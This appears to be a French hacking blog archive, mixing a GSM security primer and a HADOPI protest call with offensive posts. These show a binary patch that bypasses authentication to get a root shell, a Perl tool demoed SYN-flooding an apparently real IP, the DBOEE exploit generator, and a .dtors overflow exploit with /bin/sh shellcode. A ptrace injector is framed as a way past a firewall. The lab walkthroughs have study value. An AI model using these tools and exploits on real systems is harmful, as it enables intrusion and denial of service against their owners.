[+] Adresssage , Confidentialité et Sécurité de la transmission sur la voie radio (interface Um):

-Pré-requis:

1) I.M.S.I :

*Numéro (identité) d'abonné se trouvant dans la SIM d'une part et dans la HLR d'autre part (logique)
IMSI n'est connu qu'a l'intérieur du réseau GSM et doit ( autant que possible) rester secrete (d'ou l'utilisation de TMSI).

2) T.M.S.I :

*Identifiant temporaire codé sur 4 Octets modifié a chaque changement de zone (gérer pas un VLR) .
Le TMSI est utilisé pour identifier le mobile appelé ou appelant lors de l’établissement d’une communication .

3) M.S.I.S.D.N :

*Numéro de l'abonné . C'est la seule donnée concernant l'identitée de l'abonné connu hors réseaux GSM .

4) M.S.R.N :

*Numéro attribué lors de l'établissement d'un appel permettant d'acheminer les appels via les commutateurs (MSC)

5) I.M.E.I :

*Numéro d'équipement mis en mémoire dans le portable a la fabrication , c'est donc l'identifiant de l'appareil .

L'IMSI est transmis a la mise sous tension du mobile afin d'éviter de l'emmettre fréquemment de cette maniere il est plus difficile de l'intercepter.

Une fois l'IMSI transmis , les TMSI successives du mobile seront transmises. Ce n’est qu’en cas de perte du TMSI ou lorsque le VLR courant ne la reconnaît pas (par exemple après une panne) que l’IMSI peut être retransmise.

En cas d'echec lors de la vérification d'un de ces identifiants ,on interdit l'accés aux services.

L’allocation d’une nouvelle TMSI est faite au minimum à chaque changement de VLR, et suivant le choix de l’opérateur, à chaque intervention du mobile. Son envoi à la station mobile a lieu en mode chiffré .

* Le chiffrement GSM sur la voie radio (interface Um):

Pour assurer la confidentialité de leurs abonnés , les opérateurs ont recours au éléments suivant :

-Nombres aléatoire RAND (128 Bits)

-une clée appellée Ki (128 Bits) pour l'authentification et la création d'une seconde clée Kc ( en 64 Bits) (la clée Ki,stockée dans la carte SIM et dans l'AUC coté réseaux , est attribuée lors de l'abonnement avec l'IMSI)

-un algorithme A3 fournissant le nombre SRES (32 Bits) à partir des arguments de RAND et de la clé Ki (contruction SRES)

-un algorithme A8 pour la détermination de la clé Kc à partir des arguments de RAND et Ki (construction clée Kc)

-un algorithme A5 pour le chiffrement / déchiffrement des données à partir de la clé Kc (chiffrement a proprement parlé)

Chaque abonné utilise une clé Ki propre.
Les algorithmes A3, A5 et A8 sont quant à eux les mêmes pour tous les abonnés d’un même réseau.

-- Schéma Simplifié --

RAND(128Bits) ->SRES=A3[Rand(128Bits),Ki(128Bits)] -> Kc=A8[Rand(128Bits),Ki(128 Bits)] -> [N° de Trames en 22 Bits, Clée Kc(64 Bits)] -> Algorithme A5 -> Trames Chiffrées

Le centre d’authentification (AUC) stocke ainsi :
-l’algorithme d’authentification A3,
-l’algorithme de génération de la clé de chiffrement A8
-les clés Ki des différents abonnés du réseau GSM.

Le HLR stocke les (Kc, RAND, SRES) pour chaque IMSI.

Dans le VLR les (Kc, RAND, SRES) sont enregistrés pour chaque IMSI avec les couples TMSI - IMSI .

La BTS quand a elle ,stocke l’algorithme de chiffrement A5 pour les données usager et pour les données de signalisation.

La station mobile (MS) quand a elle , contient dans la carte SIM de l’abonné : l’algorithme d’authentification A3, l’algorithme de chiffrement A5, l’algorithme de génération des clés de chiffrements A8, la clé d’authentification individuelle de l’utilisateur Ki, la clé de chiffrement Kc, le numéro de séquence de la clé de chiffrement et le TMSI.

Voila actuellement ou j'en suis , je pense que maintenant il commence a y avoir matière a réflexions et par conséquent je vous donne rendez-vous ici d'ici quelques temps pour de nouvelles aventures qui j'espère vous plaisent et vous permettent autant qu'a moi de découvrir de nouvelles choses .

Cya \o>

Liens utiles:
http://fr.wikipedia.org/wiki/A5/1
http://internetmobile.falorni.fr/publications/securite-architecture-gsm/

Réseaux GSM : chapitre I

2009-03-18T17:25:00.000+01:00

Salut a tous !

Alors voila , j'ai décider de me lancer dans une nouvelle aventure : l'univers des réseaux de télécommunication mobile ou GSM (Global System for Mobile communications) .

Voici donc une première approche afin de comprendre un peu mieux les bases de ce monde pour ma part encore trop peu exploré jusqu'alors , et pourtant incontournable et qui plus est , en pleine expansion !

Pré-requis

Zone cellulaire : Zone couverte
Les cellules sont plus ou moins grandes en fonction du nombre potentiel d’abonnés qu’elles doivent gérer .
Ainsi , les zones de couverture des cellules voient leur taille diminuer ( + d'abonnés == cellules plus petites ) pour garantir une large bande passante aux
utilisateurs.

Routage: Construction d’un chemin de communication entre deux téléphones mobiles.

[+] Architecture d'un Réseau GSM

1) Le MS :

Dans réseau GSM, le terminal mobile MS (Mobile Segment)a trois aspects :

* Le téléphone de voiture

* Le portable d'une puissance de 8 W

* Le portatif (terminal de poche), d'un poids compris entre 150 et 350 grammes et d'une puissance d'environ 2W

Le terminal est scindé en deux parties :

* Le combiné téléphonique identifié par un numéro unique : l'IMEI (International Mobile Equipement Identity) qui est l'identité internationale spécifique à chaque combiné.
En pratique ce numéro n'est que peu utilisé

* La carte SIM (Subscriber Identity Module) et qui contient les informations suivantes :

o- Le numéro d'identification temporaire attribué par le réseau qui permet la localisation et qui est utilisé sur les canaux radio (TMSI Temporary Station Identity)
o- La liste des fréquences à écouter pour identifier la meilleure Station de Base (BTS)
o- Les algorithmes de chiffrement

Cette liste n'est pas exhaustive. D'autres informations sont stockées sur cette carte, tel que le code permettant de la débloquer :

une carte SIM se bloque automatiquement après un certain nombre d'erreurs sur le code entré par l'utilisateur.

Cet ensemble permet d'accéder aux services d'un PLMN GSM.

Cette découpe permet à l'usager d'utiliser n'importe que terminal GSM car son identification complète est portée par la carte SIM.
L'établissement d'une communication commence toujours par une phase d'authentification durant laquelle le réseau dialogue avec la carte SIM.

Le terminal mobile a pour seule interface les équipements de type BTS et ses fonctionnalités sont :

* La gestion de la liaison de données avec le BTS (protocole LAPDm)

* La surveillance périodique de l'environnement par des séries de mesure stockées sur la carte SIM

* La restitution des données vocales ou non (messagerie) destinées à l'abonné

* Les opérations de chiffrement

2)Le BSS (Base Station sub System) comprend :

*BTS ( Base Transceiver Station)
Les stations de base (BTS) assurent la couverture de l’aire de service :
Chaque cellule dispose d’une BTS et d’une seule,une BTS gère la transmission radio.

-Une BTS est reliée à un contrôleur de station de base BSC (BSC, base station controller).

*BSC (Base Station Controller)
Un BSC est lui-même relié à un commutateur de service mobile (MSC, mobiles services switching center).

( 1 seule BTS par cellule mais un BSC gère un ensemble de BTS )

Le BSC organise la supervision, l’allocation et la relâche des canaux radios (routage), conformément aux demandes reçues du MSC.

3) Le NSS comprend : des bases de données (HLR) et des commutateurs (MSC)

*HLR (Home Location Register)

Un HLR est une base de données de localisation et de caractérisation des abonnés .

A l’aide du numéro appelé (appel entrant), on en déduit la localisation du destinataire grâce à l’enregistreur de localisation nominal (HLR).

Le HLR fournit l’adresse du MSC, BSC, et BTS couvrant l’aire dans laquelle se trouve le destinataire.

*MSC (Mobile-services Switching Center)

Les MSC sont des commutateurs mobiles associés en général aux bases de données VLR (Visitor Location Register) .
Le MSC gère l’établissement d’appel, la relâche d’appel, et tout ce qui est lié aux identités des abonnés

*VLR (Visitor Location Register)

C'est la base de données qui gère les abonnés présents dans une certaine zone géographique.
Ces informations sont une copie de l'original conservé dans le HLR.

*AuC (Authentication Center)

Il mémorise pour chaque abonné une clé secrète utilisée pour authentifier les demandes de services et pour le chiffrement des communications. Un AuC est en général associé à chaque HLR.

[+] Schéma simplifié d'un réseau GSM ( topologie de type "Arbre")

4) Les interfaces :

a)L’interface Um
C’est l’interface entre les deux sous systèmes MS (Mobile Station) et le BSS (Base Station Sub-system. On la nomme couramment « interface radio » ou « interface air ».

b)L’interface Abis
C’est l’interface entre les deux composants du sous système BSS : la BTS (Base Station Transceiver) et le BSC (Base Station Controler).

c)L’interface A
C’est l’interface entre les deux sous systèmes BSS (Base Station Sub System) et le NSS (Network Sub System).

Voila pour l'introduction , j'espère que cet article vous aura permis d'apprendre deux trois choses concernant les réseaux de téléphonie mobile .

Rendez-vous sous peu pour la suite .

Have Fun !

Parce que la France n’est pas la Chine,parceque ce sont les utilisateurs qui ont fait du cyber espace ce ce qu'il est aujourd'hui : "BLACK-OUT" !

2009-02-27T12:05:00.000+01:00

(!) Devant le ridicule d'un gouvernement qui s'entête à vouloir déconnecter du Net des familles entières sans preuves valables ni procès, la Quadrature appelle les citoyens épris de liberté à procéder au « black-out » de leurs sites, blogs, profils, avatars, etc.

Comme en Nouvelle-Zélande, seul pays avec la France où la « riposte graduée » devait être imposée par la loi, pour finalement être repoussée :

pour protester contre cette loi imbécile et sa « liste blanche » de sites autorisés, le Net français doit agir et se draper de noir.

Ainsi , la Quadrature invite tous ses soutiens, individus et collectifs, à :

[*] Peindre leurs sites, blogs, profils, courriers, commentaires ou avatars de la couleur noire du « black-out », au besoin en utilisant les images mises à leur disposition.

[*] Afficher un message expliquant les motivations de cette protestation contre une loi absurde, inapplicable et dangereuse qui met en péril le web français, l'innovation, et les libertés fondamentales.

[*] Faire un lien vers le « tableau de bord HADOPI » de La Quadrature du Net.

[*] Contacter son député pour lui annoncer que l'on a procédé au « black-out » de son espace sur le Net pour protester contre la loi « Création et Internet », lui transmettre le dossier de La Quadrature6 et lui demander ce qu'il en pense.

[*] Inviter ses proches et ses contacts à faire de même.

« Cet appel est un hommage rendu aux citoyens néo-zélandais qui ont pu faire entendre la raison à leur gouvernement. Il s'agit d'un remix, d'une réappropriation d'une idée qui, comme la culture, n'existe que pour être partagée. Ce sont ceux qui traitent leurs clients de " pirates " et les députés qui votent leurs lois qu'il faudrait déconnecter !»

Rendez-vous ici pour plus d'infos :

http://www.laquadrature.net/fr/APPEL-HA … t-francais

MOBILISONS NOUS !

"Sysinfos" is powned .

2009-02-25T22:58:00.000+01:00

Au lendemain de l'article sur les .bss overflow posté par mon ami HyP sur son blog , j'ai eu envie de voir comment bypasser l'authentification de son "Sysinfos" mais avec une approche différente .

Bon , aprés coup je me suis vite rendu compte que ce serait trés classique voir presque triste , je le reconnait mais 24h aprés la publication de son article , ça me tenter donc ...

Code de Sysinfos.c ici

Premiere étape comme souvent , on désassemble a la recherche d'une ou plusieurs intructions intéréssantes ( ici avec objdump) de cette maniere :

objdump -d Sysinfos

et...bingo !

Aprés avoir parcouru les lignes ,on se rend vite compte de la simplicité de la chose lorsqu'on tombe sur un JNE (Jump if Not Egal ) intéréssant.

...........................................
...........................................>

8048410: 55 push ebp
8048411: 89 e5 mov esp,ebp
8048413: 53 push ebx
8048414: 83 ec 04 sub 0x4,esp
8048417: 80 3d bc 98 04 08 00 cmpb 0x0,0x80498bc
804841e: 75 40 jne 8048460 <__do_global_dtors_aux+0x50>
;saut au destructeur si valeur inégale

<..........................................
..........................................

Reste plus qu'a l'éditer a l'aider d'un éditeur hexadécimal pour en modifier la valeur sachant que l'on doit remplacer la valeur 75 par 74 .

Nous avons jne = 75
Nous allons faire en sorte d'obtenir je = 74

Editons donc a l'aide (par exemple ) de Ghex .

Ghex2 Sysinfos

On va rechercher la valeur hexa 75 40 et hop , y'a plus qu'a modifier , enregistrer, faire un chmod +x Sysinfos et lancer le prog pour vérifier.

[root@localhost kmkz]# ./Sysinfos2 i
Vérification de votre mot de passe..
'+) Authentification réussie...
U'r root!

sh 3.0 #

Et voila , le Sysinfos est encore une fois bypasser et ce d'une façon des plus élémentaire mais c'était " just for fun " ;-) .

Quand on ne sais que faire ... on code nawak (et ça se voit :-P )

2008-10-22T15:47:00.000+02:00

o/ All !

Bon bah tout est dans le titre :

cette fois - ci ne sachant pas trop sur quoi bosser et , je doit l'avouer ,ayant envie de me remettre au Perl aprés tant de temp passé sur d'autre langages , je me suis mis a coder un petit tool ( incomplet mais bon c'est juste une "remise a niveau " :-P ) , histoire de me replonger dans les méandres de ce magnifique langage qu'est le Perl .

Comme dis ci-dessus , ici rien d'extraordinaire car il s'agissait surtout d'un "prétexte" pour revoir un peu le Perl .

Cependant , je compte réellement continuer a travaiiler dessus et ce , dans de vrais projets a venir , mais je n'en dirais pas plus .... ;-)

----------------->
Bon , ce tool donc - (baptisé KM-Net-tool pour kmkz network tool ) - permet entre autre de scanner (super original je sais) des ports définis par l'utilisateur sous forme de "plage" a scanner ( Port de départ et d'arrivée) tout en choisissant aussi le Time-out et le protocole a utiliser .

Il permet aussi la pratique du SYN flood en forgeant plus ou moins ses paquets :

ip de départ , ip cible , port cible , taille du paquet ; ainsi que le classique et peu utile (mais toujours intéréssant ne serait-ce que pour ce qu'on y apprend ) ping flood , largement moins paramétrable (si peu utile...) : ip cible et protocole uniquement.

Voici une ptite démo de ce code basique mais toutefois bien intéréssant a coder , surtout pour se remettre dans le bain car , je le rappelle , c'est ici mon objectif , rien de plus .

<----------------- Présentation :
[root@ KM-Net-tool]# perl KM-Net-tool.pl

Usage KM-Net-tool.pl: [-f# -S# -p# -l]

-S (Scan) /host_to_test / \Time out\ /Port to Start/ \Port to Stop\ /Protocol/
-f (SYN Flood) /Source-IP/ \Target_IP\ /Target_Port/ \Packet_size\
-p (Ping Flood) /Target-IP/ \Protocol\
-l (GNU Licence)

-----------------------------------------------------------

Contact "kmkz" for more informations.

Mail: kmkz[at]live[dot]fr.
WebSite: http://kmkz-web-blog.blogspot.com
Board: www.collective-utopia.no-ip.fr

----------------->

Démo d'un scan (SUID Root utilisé par le module RawIP) :

[root@ KM-Net-tool]# perl KM-Net-tool.pl -S 213.251.1xx.xxx 1 1 200 tcp

[+]Checking modules....

[ Module IO::Socket::INET : OK ]
[ Module Net::Ping : OK ]
[ Module Net::RawIP : OK ]
[ Module Getopt::Std : OK ]

---------------------------------------------------------

~ PING 213.251.1xx.xxx .... + Ok!

~ Localtime: Wed Oct 22 16:02:18 2008
[+] Time out : 1
[+] Starting scan port n° 1
[+] Finish scan port n° 200
[+] Protocol Selected : tcp

---------------------------------------------------------

(+) Starting Scan (using Thread) :

[+] Port 21 - tcp Open
[+] Port 22 - tcp Open
[+] Port 25 - tcp Open
[+] Port 53 - tcp Open
[+] Port 80 - tcp Open
[+] Port 110 - tcp Open
[+] Port 143 - tcp Open

Rien de bien sorcier en soit ...autre exemple : un SYN flood :

[root@ KM-Net-tool]# perl KM-Net-tool.pl -f 84.56.82.98 213.251.178.117 22 4000

[+]Checking modules....

[ Module IO::Socket::INET : OK ]
[ Module Net::Ping : OK ]
[ Module Net::RawIP : OK ]
[ Module Getopt::Std : OK ]

---------------------------------------------------------

+1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 +1 ......

Ou chaque "+1" signifie qu'un paquet a été envoyé a la cible .

Bon on va stopper la car je pense que vous avez compris comment ce tool trés simple d'usage fonctionne , si ce n'est pas le cas , a vous de consulter l'aide fournie avec .

A bientot pour de VRAIS projet en Perl ;-) c'est promis !

<------------------------- >

Archive du projet KM-Net-tool

<------------------------->

Résumer du premier 2600 Nîmois

2008-09-08T17:18:00.000+02:00

Salut a tous !
Et bien voila , le premier meet' a bien eu lieu sur Nîmes .

Le résumé ce trouve dispo sur le forum 2600fr.org a cette adresse :
résumer 2600 Nîmes

Ce qu'on peu en dire en 2 mots c'est que ce fut un agréable moment intéréssant et riche en partage .
Nous nous sommes posé dans le "Cyber-Restaurant " le " Net m'Eating " , ou nous avons pu bidouiller un peu le tout en étant bien confortablement installé ( voir résumé pour plus d'infos).
net m' eating

J'espere tout de meme y voir un peu plus de monde dans les mois a venir mais chaque choses en son temp .

Si certain sont intéréssés , n'hésitez pas a me contacter pour avoir plus d'infos .

merci a tous .

.Data Overflow et utilisation de "DBOEE" pour générer l'exploit approprié et exploiter

2008-08-23T18:43:00.000+02:00

Salut a tous et a toutes .
Dans ce nouveau billet , je compte vous présenter mon projet baptisé "DBOEE" (Data-Based-Overflow Easy Exploitation) dans sa version "beta" si on peu dire .

Mais en quoi cela consiste -il ?

En fait , ce billet sera ici un complément du précédent concernant les .Data Overflows .
Le précédent billet m'a valut un commentaire de la part de quelqu'un ( il se reconnaitra j'espere ;-)) que j'admire me demandant "pourquoi tu n'as pas coder l'exploit qui va avec ?" .

Cette question a pour réponse : pas envie de coder un exploit pour un vuln.c ( pas trés utile en soit) .

Mais en y réfléchissant , pourquoi ne pas coder un programme qui , non seulement serait un exploit pour ce vuln.c, mais aussi serait adaptable a d'autres .Data Overflow ?

De la est né le projet DBOEE ayant pour objectif ( dans la version beta tout du moins ) ,la possibilité de s'adapter a d'autre situations afin de pouvoir facilement exploiter et au passage générer l'exploit associé .

Concrètement DBOEE vous demandera un shellcode (fournis au cas ou ..) , le nombre d'octets entre le buffer et la section DTORS a écraser ( j'automatiserais ça par la suite ) ainsi que la cible .

Concernant le nombre d'octets , le programme le calcule en déduisant la taille du shellcode de façon a faciliter cette opération .
Une fois l'exploit créé , il est sauvergardé dans le fichier Exploit.txt puis exploite le programme vulnérable.

Voila pour la présentation du projet DBOEE qui n'en ait ici qu'a ses débuts ( voir readme joint a l'archive).
Place au test :
[kmkz@localhost Fuzzer_Data-overflow]$ ./DBOEE

----------------------------
- Data-Based-Overflow Easy Exploitation -
----------------------------

[+]Programm :
-Devellopped by kmkz(c)
-Compilation :gcc -o DBOEE DBOEE.c

[+]Author's informations :
kmkz's web sites -> http://kmkz-web-blog.blogspot.com & www.collective-utopia.no-ip.fr

[+]This programm has been coded for makes easier the Data based Overflow exploitation.
You just have to give a shellcode(reached) , numbers of Bytes and the target name . DBOEE calculate the payload, exploit program and create feat ,nice isn't it.?

[~]This is my first real projet in C language and Beta version also I hold has excuse me for essential lack

---------------------------****************---------------------------

---------------------------STARTING PROGRAM---------------------------

[*] Enter Adress Return :
"\x60\x95\x04\x08"

[*] Enter your shellcode :
"\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x
cd\x80"

---------------------------Starting Exploitation---------------------------

[~]Program Running......

[~] check on the ongoing shellcode...
- Shellcode maximum Size : 1000
- Shellcode character -> 73
- Shellcode size (octets) -> 18

---------------------------Shellcode Created---------------------------

[*] enter the number of 'A' (octets) necessary for Overflow exploitation :
272

---------------------------Shellcode Created---------------------------

[~]Generating Payload....

(+)[Your Payload is] -->
272 x 'A' [your shellcode]

(+) subtraction of the shellcode bytes ...

[*] Payload generated is : printf 254 x 'A' [shellcode]

---------------------------Payload Created---------------------------

[~] Give me a target (example-> ./vuln)
./vuvu
-Target programm is -> ./vuvu

---------------------------Generating Exploit File---------------------------

[#] Creating Exploit File ....

[#]Exploit.txt : success !

[+] Sending payload...

------------ Result ------------
sh-3.2$

-----------------------------------------------------------------------------------------------------------------------------------------------------------
-Contenu du Fichier Exploit.txt -
-----------------------------------------------------------------------------------------------------------------------------------------------------------
`printf "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x
cd\x80"``perl -e 'print "A"x254'``printf "\x60\x95\x04\x08"`
-----------------------------------------------------------------------------------------------------------------------------------------------------------

Comme on peu le constater , l'exploit généré correspond en tout points a celui obtenu lors du billet précédent.

-----
Archive du projet DBOEE
-----

Voila , le source est un peu (beaucoup ) plus présentable désormais grace a la participation de m_101 (que je remercie au passage ).
Pour plus d'infos , consulter le "readme" inclu a l'archive.
A trés bientot et merci a tous \o !

ps2: Retrouver l'appel a participation au projet sur le forum

Collective-Utopia

.Data Section overflow

2008-08-09T12:38:00.000+02:00

Hello World !
Me revoila pour un petit billet (probablement un des derniers de l'été /o\ mais pas le dernier de ce blog , loin de la ;-) !
Alors , étant un peu a court d'idées mais ayant besoin de travailler sur quelque chose d'assez concret/intéréssant , je me suis dis "pourquoi pas un article sur les Data overflow?" .
Cet article montrera uniqueme les notions de bases qui seront approfondie par la suite dans d'autres articles a venir .
|------------ Environnement -----------|
Il reste inchangé , cependant il est bon de le rappeller :
Linux Free 2.6.22.19-desktop-2mdv 2008 - GNU/Linux
i686 Intel(R) Pentium(R) 4 CPU 2.93GHz
|------------ Environnement -----------|

Les Data Overflow sont donc des Buffers Overflow se situants donc dans la section .Data (logique ,non..?) .

Contrairement aux Stack Overflow , nous n'allons pas chercher a "écraser" la pile mais bel et bien une autre Section mémoire .

Commençons la pratique :

Tout d'abord regardons l'organisation des sections de notre programme vulnérable (fourni en fin d'article) :

[kmkz@localhost Data_overflow]$ size -A -x vuvu // Simpa le nom
bss2 :
section size addr
.interp 0x13 0x8048114
.note.ABI-tag 0x20 0x8048128
.gnu.hash 0x20 0x8048148
.dynsym 0x50 0x8048168
.dynstr 0x4c 0x80481b8
.gnu.version 0xa 0x8048204
.gnu.version_r 0x20 0x8048210
.rel.dyn 0x8 0x8048230
.rel.plt 0x18 0x8048238
.init 0x30 0x8048250
.plt 0x40 0x8048280
.text 0x15c 0x80482c0
.fini 0x1c 0x804841c
.rodata 0x8 0x8048438
.eh_frame 0x4 0x8048440

.ctors 0x8 0x8049444 ---> constructor
.dtors 0x8 0x804944c ---> destructor

.jcr 0x4 0x8049454
.dynamic 0xc8 0x8049458
.got 0x4 0x8049520
.got.plt 0x18 0x8049524

.data 0x120 0x8049540 ---> Section .Data contenant le buffer vulnérable

.bss 0x4 0x8049660
.comment 0x177 0x0
.debug_aranges 0x50 0x0
.debug_pubnames 0x25 0x0
.debug_info 0x1cd 0x0
.debug_abbrev 0x6f 0x0
.debug_line 0x147 0x0
.debug_str 0xcf 0x0
.debug_ranges 0x40 0x0
Total 0xbc7

Vous remarquez 2 sections appellées Dtors et Ctors ( Constructor & Destructor).
Il s'agit de 2 sections présentes dans un fichier de format ELF qui sont deux attributs du
compilateurs gcc.
Elles permettent l’exécution de fonctions avant l’appel à la fonction
main() et avant le dernier exit() du programme .
( c'est a dire qu'elle le construisent et le détruisent a la fin ).

Ainsi, en faisant déborder le buffer vulnérable de la section .data nous
arrivons à écrire dans la section .dtors et à exécuter du code à la sortie de notre
programme.

---------------------------------->
Organisation des Ctors et Dtors:

0xffffffff . . . 0x00000000
<----------------------------------
Meme lorsque ces 2 fonctions se trouvent etre vides , elle sont tout de meme présentes en mémoire .

Dans vuvu.c , la section .dtors est justement vide :

---------------------------------->

[kmkz@localhost Data_overflow]$ objdump -s -j .dtors vuvu

bss2: file format elf32-i386

Contents of section .dtors:
804944c ffffffff 00000000
<---------------------------------- Prenons maintenant les renseignement qui seront nécéssaire a la réalisation de ce petit exploit :

---------------------------------->

(gdb) disas main
Dump of assembler code for function main:
0x08048344 : lea 0x4(%esp),%ecx
0x08048348 : and $0xfffffff0,%esp
0x0804834b : pushl 0xfffffffc(%ecx)
0x0804834e : push %ebp
0x0804834f : mov %esp,%ebp
0x08048351 : push %ecx
0x08048352 : sub $0x14,%esp
0x08048355 : mov 0x4(%ecx),%eax
0x08048358 : add $0x4,%eax
0x0804835b : mov (%eax),%eax
0x0804835d : mov %eax,0x4(%esp)
0x08048361 : movl $0x8049560,(%esp)
0x08048368 : call 0x80482b0
0x0804836d : add $0x14,%esp
0x08048370 : pop %ecx
0x08048371 : pop %ebp
0x08048372 : lea 0xfffffffc(%ecx),%esp
0x08048375 : ret
End of assembler dump.

---------------------------
Adresse de notre buffer :
(gdb) p & buf
$1 = ( *) 0x8049560

--------------------------
Adresse de la section Dtors:

(gdb) mai i section
Exec file:
`/home/kmkz/Bureau/C/TRAVAUX_hacking/Data_overflow/vuvu',
file type elf32-i386.

.....
0x08049444->0x0804944c at 0x00000444: .ctors ALLOC LOAD DATA HAS_CONTENTS
0x0804944c->0x08049454 at 0x0000044c: .dtors ALLOC LOAD DATA HAS_CONTENTS
.....
0x08049660->0x08049664 at 0x00000660: .bss ALLOC
.....

-------------------------

(gdb) x/2 0x0804944c
0x804944c <__dtor_list__>: 0xffffffff 0x00000000

Ça rappelle pas un truc ça ...?
Revoila notre Section Dtors bien vide comme vu précédemment.
-------------------------

(gdb) p (0x804944c+4) - 0x8049560
$2 = 272
<----------------------------------
Nous avons donc nombre d’octets
depuis notre buffer jusqu’à l’adresse en DTORS à écraser. Nous avons donc toutes les
informations pour exploiter notre programme.

On utilisera ici un shellcode de 18 Octets soit le calcul suivant :
272-18=254

Buffer :0x8049560
donc en little endian :
\x60\x95\x04\x08
Reste plus qu'a rassembler les infos pour créer notre exploit :

[kmkz@localhost Data_overflow]$ ./vuvu `printf "\x31\xc0\x50\x68//sh\x68/bin\x89\xe3\x50\x53\x89\xe1\x99\xb0\x0b\x
cd\x80"``perl -e 'print "A"x254'``printf "\x60\x95\x04\x08"`
sh-3.2$
On vois ici l'un des avantages de cette méthode : Nous n'avons eu besoin que de programmes classique (objdump/gdb) pour récupérer ce dont nous avions besoin ; mais il faut pour cela un binaire "readable" (ce qui n'est pas toujour le cas .
Parcontre , du coup , pour que Notre shellcode s'exécute il nous faudra attendre la fin du programme (appel a exit() donc au destructeur ) contrairement a une exploitation qui se déroulerait sur la pile .
Et , rappellez-vous au sujet des Ctors et Dtors : ce sont deux attributs du
compilateurs gcc comme on l'a dit plus haut .
En tant que tel il est aussi nécéssaire que le programme vulnérable ait été compilé avec !
Voila , reste plus qu'a vous fournir les sources e ta vous souhaiter plein de bonnes choses ;-) .
A trés bientot pour de nouvelles aventures :'-) .
---------------------------------->
Programme vulnérable

Proof of concept (pl)

Et comme l'été on s'ennui :

Proof of concept (c)

<---------------------------------- See you .... o/

Principes et mise en oeuvre d'un injection de code dans un processus en cours via le syscall PTRACE()

2008-07-20T10:27:00.000+02:00

Yop all o/ !
Comme vous l'aurez sans doute compris dans le titre , cet article va traiter (pas trés original comme sujet j'en conviens) des injections de Shellcode dans un processus actif grace au syscall Ptrace() .

Commençons donc par une petite explication et mise en situation :

<--------------------------------------------->
Avant tout un petit mot sur l'environnement de test utilisé ici :
# uname -a
Linux localhost 2.6.22.19-desktop-2mdv #1 SMP Mon May 5 20:55:05 EDT 2008 i686 Intel(R) Pentium(R) 4 CPU 2.93GHz GNU/Linux
Le tout sans aucune modifications ,attention toutefois car il est ici nécéssaire de posséder une pile exécutable ( on joue encore une fois avec la stack ) bien qu'en y réfléchissant longuement , il peu etre possible de l'adapté sur n'importe quel OS ( d'aprés ce que j'ai pu lire sur phrack ;-) ) .
<--------------------------------------------->
-Il faut savoir que ce type d'injection est souvent utilisée par les codes malveillants afin de contourner les sécuritées mise en place sur une machine .

exemple :
Imaginons un poste de travail "sécurisé " par un firewall personnel ; en général ces programmes ont pour but de filtrer/bloquer l'accés au net pour certaines applications.
Cependant , supposons que nous voulions compromettre cette machine et faire en sorte d'obtenir un accés sortant (on peu tout aussi bien vouloir faire autre chose , mais ceci est a titre d'exemple hein ;-) ) , dans ce cas comment vas-t-on s'y prendre ..?

Sachant qu'au minimum le navigateur doit posséder un accés sortant , nous allons donc injecter notre shellcode dans la mémoire utilisée par ce processus puis faire en sorte qu'il poursuive son activité , comme si de rien n'était .
De cette façon nous pouvons utiliser les droits du navigateur et,donc avoir un accés sortant sans etre inquiété !

Pour cela il sera donc nécessaire de ne pas tuer le processus en fesant donc en sorte qu'une fois le pointeur EIP pointe sur le shellcode , l'exécute puis se replace (POP / RET) de façon a reprendre l'exécution du processus cible.

Etapes a suivre :
1- S'attacher au processus ciblé (PTRACE_ATTACH)

2-Attendre qu'il stoppe (WAITPID)

3-Récupération des registres utilisés par ce process(PTRACE_GETREGS)

4-Copie du Shellcode dans la stack (PTRACE_POKEDATA)

5-Redirection du pointeur vers le début de nore Shellcode (PTRACE_SETREGS)

6-Se détacher (PTRACE_DETACH)

Néanmoins,, il se peut que le processus ait été interrompu par le ptrace (PTRACE_ATTACH) alors qu’il exécuté un appel système.
Dans ce cas, le noyau décide de remettre l’ex écution a l’endroit ou elle a été interrompue, c’est-a-dire l’appel système. Sous Linux pour x86, un appel système est déclenché́ par l’instruction int 0x80, codée sur 2 octets.
Avant de rendre la main au processus, le noyau modifie donc le registre eip, en lui enlevant 2 octets. Or, nous ne souhaitons pas que l’exé́cution reprenne la ou ne se trouve pas notre shellcode!
Pour compenser cela, on ajoutera 2 Nops (\x90) au début du shellcode (et on oublira pas de modifier la valeur dans la boucle au passage sinon elle n'enverra pas tout le shellcode ).

Voila, on peu désormais passer a la pratique .Dans un premier temps je détaillerais donc les différentes étapes , puis je vous donnerais le code "Shell_inj" (Shellcode injector quoi -_- ) .
(Ce code est déja suffisemment commenté pour vous permettre de le comprendre facilement)

-- Nous allons , dans l'exemple suivant , injecter un dangereux shellcode (Hello , world! :-) ) dans un processus cible (ici bash sera la cible) -

On commence par récupérer son PID:
[kmkz@localhost Bureau]$ ps aux
Ce qui donnera un listing assez long (top pour etre mis ici en entier en tout cas ) .
Nous , on s'intéressera donc a ça :
kmkz 7178 0.3 0.1 4324 1920 pts/0 Ss+ 10:58 0:00 bash
Bon , on a le PID reste plus qu'a s'amuser now ! \o/
Je suppose que vous savez déja utiliser Gcc et donc ne reviendrais pas la dessus ..
Lançons le programme Shell_inj en lui passant en argument notre PID et voyons ce qui se passe :

[kmkz@localhost Bureau]$ ./inj 7178
[+] Attente d'attachement au processus 7178 ...
[+] Attachement au processus : réussi
[+] Lecture des registres:
-eip: 0xffffe410
-esp: 0xbfe478d8
[+] Shellcode copié en esp:0xbfe468d8
[+] Redirection d'eip vers le shellcode :0xbfe468da
[+] Détachement du processus 7178

[+] Injection Terminée !
Hello,World !

Bingo, notre "hello world" est bien la , en chair et en os (enfin si on veux quoi ^_^).
C'est a vous de jouer maintenant : vous savez détourner un processus en y injectant un shellcode pour en faire ce que vous voulez alors ....
___
*Here's the Shell_inj source code:
Shell_inj.c

Have Fun !

Remerciements a l'équipe de "blacks clowns" pour son article sans lequel j'aurai mis des mois avant de percuter comment m'y prendre ^^ ainsi qu'a l'équipe de dg-sc pour phrack et ses tutos de 1er choix !